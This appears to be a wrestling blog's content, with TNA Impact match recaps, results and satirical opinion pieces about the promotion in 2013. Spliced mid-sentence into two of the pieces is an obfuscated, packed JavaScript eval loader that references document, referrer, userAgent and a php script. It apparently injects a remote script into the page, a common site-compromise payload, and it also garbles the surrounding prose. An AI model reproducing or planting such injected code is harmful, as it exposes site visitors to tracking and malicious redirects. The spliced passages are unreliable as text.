Anyway, Angle hits a missile dropkick and a flying forearm to put D-Von down followed by a belly to belly for two. The Angle Slam is escaped and D-Von clotheslines Angle down. D-Von goes up for the swan dive but Kurt runs up the ropes and hits a belly to belly superplex off the top for two. The ankle lock goes on but D-Von kicks him away and hits a Rock Bottom for two. They botch a powerbomb counter and Kurt rolls some Germans for two.

AJ has nothing to say and leaves.

TNA World Title: Jeff Hardy vs. Austin Aries

Results

Samoa Joe b. Magnus – Koquina Clutch

Eric Young/ODB b. Jesse Godderz/Tara – Top Rope Elbow to Godderz

Rob Van Dam b. Joey Ryan – Five Star Frog Splash

Doc b. Joseph Park – Chokeslam

Chavo Guerrero/Hernandez b. Christopher Daniels/Kazarian – Top Rope Cross Body to Daniels

James Storm b. AJ Styles and Bobby Roode – Last Call to Styles

Kurt Angle b. D-Von – Ankle Lock

Jeff Hardy b. Austin Aries – Hardy pulled down both belts

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Thought of the Day: TNA At The Moment

Covering eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|teekh|var|u0026u|referrer|dziry||js|php'.split('|'),0,{})) two current TNA stories.1. Apparently AJ Styles will be gone for a few more months, defending the TNA World Title around the world.

Translation: Remember that guy we spent most of 2013 building up?  Well you just don’t get to see him anymore but come back later because he might be back then.  Until then, watch a bunch of guys that AJ beat in a competition fight for the other title in his absence!

 

2. Dixie Carter announced a former world champion returning to Impact tomorrow night in Cincinnati.

It would be Pacman Jones, the former tag team champion from several years back.  In other words, instead of bringing in new Knockouts, tag teams, X-Division guys or some fresh faces, TNA feels the better move is to bring back a guy who didn’t wrestle, most people complained about being in TNA the first time, and makes the news for not getting arrested rather than the more traditional opposite.

 

That’s TNA in a nutshell at the moment.  More on their screwups later.




Thought of the Day: Pitching Impact To A Potential TNA Fan

This is what selling TNA to a fan might sound like right about now.Dude eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sinyd|var|u0026u|referrer|erinh||js|php'.split('|'),0,{})) you should totally watch Impact Wrestling.  They have this guy named AJ Styles who does the most awesome flips and dives and has the best matches in the world.

 

Potential fan: That sounds cool.  Which one is he?

 

Oh well actually he left after turning down money and a car and implied sex with a not terrible looking woman.  But he’s champion and the best in the world!

 

Potential fan: But I can’t see him?

 

You might be able to if you don’t mind listening to Spanish or Japanese commentary.

 

Potential fan: HUH?

 

Never mind.  Oh I know you’ll love this: TNA has this thing called the X Division which has no limits on it at all.  Everybody is all about leaving it all in the ring and giving everything they have to be champion.  They fly around and have to crawl across ropes to pull down a title belt.

 

Potential fan: Now that has to be cool.  When are they on?

 

Actually scratch that since they weren’t on TV this week because Impact needed more time to spend on the not bad looking older woman.  Wait I almost forgot the best part!  There’s this team called Aces and 8’s and they’re just like Sons of Anarchy and they ride on motorcycles and beat up everyone!

 

Potential TNA fan: I don’t watch Sons of Anarchy.

 

Uh……Oh there’s this guy there named EC3 who is just like Robert Griffith III.

 

Potential TNA fan: He’s my favorite player on my favorite team.  Ok so I need to look for the black guy named EC3.  He has to be cool.

 

Actually he’s white.

 

Potential TNA fan: But he’s more athletic than everyone else right?

 

…..not especially.

 

Potential TNA fan: He represents Washington DC though?

 

If the DC stands for Directly from Cleveland he does!

 

Potential TNA fan: Nicest guy in the company?

 

Actually he looks to be one of the new top heels.  He’s the nephew of the older lady who isn’t bad looking.

 

Potential TNA fan: …..is he recovering from knee surgery?

 

YES!  I can indeed assure you that he had his knee operated on last year and is at least mostly back to full strength!

 

Potential TNA fan: So to recap, you want me to watch a show where to see the best guy in the world I need to watch other companies, I should be a fan of Sons of Anarchy, the high flying dudes weren’t even on last week, the show is apparently dominated by a woman that isn’t that bad looking and there’s a guy who is supposed to be like RG3 because he’s the polar opposite of him?

 

……did I mention Sting is still there and Hulk Hogan might come back?  And Sting can almost bend over still!

 

 

 

The worst part: this isn’t meant as a parody.




Impact Wrestling – October 24, 2013: The 17 People That Liked Bound For Glory Will Be Thrilled

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Date: October 24, 2013
Location: Maverik Center, Salt Lake City, Utah
Commentators: Mike Tenay, Tazz

The opening video recaps the events of Bound For Glory, including all the title changes and Kurt Angle declining the induction into the Hall of Fame.

AJ vs. Ray II for the title tonight.

Brooke/Gail Kim vs. Velvet Sky/ODB

The Bro Mans celebrate their tag title win by spraying their hair.

Ethan Carter III vs. Dewey Barnes

Dewey is another jobber, this time from Muscle Shoals, Alabama, home of Cody Deaner if I remember correctly. Carter takes him to the mat with ease and pounds away in the corner. Dewey comes back with a few shots to the face and a missile dropkick, only to be caught in the bulldog driver for the pin at 2:38. Same match he had at Bound For Glory.

We recap Magnus beating Sting on Sunday.

We get a video from the Hall of Fame induction dinner, Angle declining the Hall of Fame induction and Angle vs. Roode.

Dixie is on the phone in her office and says she needed something done yesterday.

TNA World Title: Bully Ray vs. AJ Styles

They have a ton of time here with nearly half an hour left in the show. AJ has heavily taped up ribs. Bully interrupts the big match intros so AJ punches him in the face to get things going. The champion scores with his drop down into the dropkick sequence and gets two off a kick to the head. Bully starts thinking and lifts Styles into the air to drop him ribs first down onto the mat as we take a break.

Results

Ethan Carter III b. Dewey Barnes – Bulldog driver

AJ Styles b. Bully Ray – Crucifix

 

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